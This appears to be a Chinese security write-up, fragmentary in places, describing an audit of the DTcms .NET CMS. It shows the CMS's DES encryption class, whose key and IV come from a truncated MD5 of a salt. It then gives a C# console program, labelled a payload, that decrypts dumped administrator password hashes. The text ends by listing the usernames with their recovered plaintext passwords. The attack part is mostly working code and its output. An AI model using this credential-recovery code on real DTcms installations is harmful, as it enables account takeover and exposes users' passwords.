
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8

admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
思路一
思路二
尝试思路

SET IDENTITY_INSERT [dbo].[dt_manager] OFF
登录账号


.net基本知识
目前已有的数据
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
代码审计


DESEncrypt.Encrypt(password, salt)
进行加密。后来知道了这里DESEncrypt是一个类,Encrypt是一个静态函数,所以可以直接调用
源码如下
using System.Security.Cryptography;
using System.Text;namespace DTcms.Common
{
/// <summary>
/// DES加密/解密类。
/// </summary>
public class DESEncrypt
{
#region ========加密========
/// <summary>
/// 加密
/// </summary>
/// <param name=”Text”></param>
/// <returns></returns>
public static string Encrypt(string Text)
{
return Encrypt(Text, “DTcms”);
}
/// <summary>
/// 加密数据
/// </summary>
/// <param name=”Text”></param>
/// <param name=”sKey”></param>
/// <returns></returns>
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray;
inputByteArray = Encoding.Default.GetBytes(Text);
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
StringBuilder ret = new StringBuilder();
foreach (byte b in ms.ToArray())
{
ret.AppendFormat(“{0:X2}”, b);
}
return ret.ToString();
}
#endregion
#region ========解密========
/// <summary>
/// 解密
/// </summary>
/// <param name=”Text”></param>
/// <returns></returns>
public static string Decrypt(string Text)
{
return Decrypt(Text, “DTcms”);
}
/// <summary>
/// 解密数据
/// </summary>
/// <param name=”Text”></param>
/// <param name=”sKey”></param>
/// <returns></returns>
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
#endregion
}
}
System.Web.dll
这个文件才能运行代码。代码段如下:payload
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Text;
using System.Web;namespace ConsoleApp1
{
class Program
{
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, “md5”).Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
static void Main(string[] args)
{
System.Console.WriteLine(Program.Decrypt(“E7B8D79CB1F8267E98411A1081B75FBD”, “24V0XZ”));
System.Console.WriteLine(Program.Decrypt(“154A70BBAD1377B256671E16CAF430ED”, “42V8XZ”));
System.Console.WriteLine(Program.Decrypt(“262BA2BFC886B171B5488CA6E9F25BB8”, “J6ZT84”));
}
}
}

admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
文章来源:先知(Fright一Moch)
原文地址:https://xz.aliyun.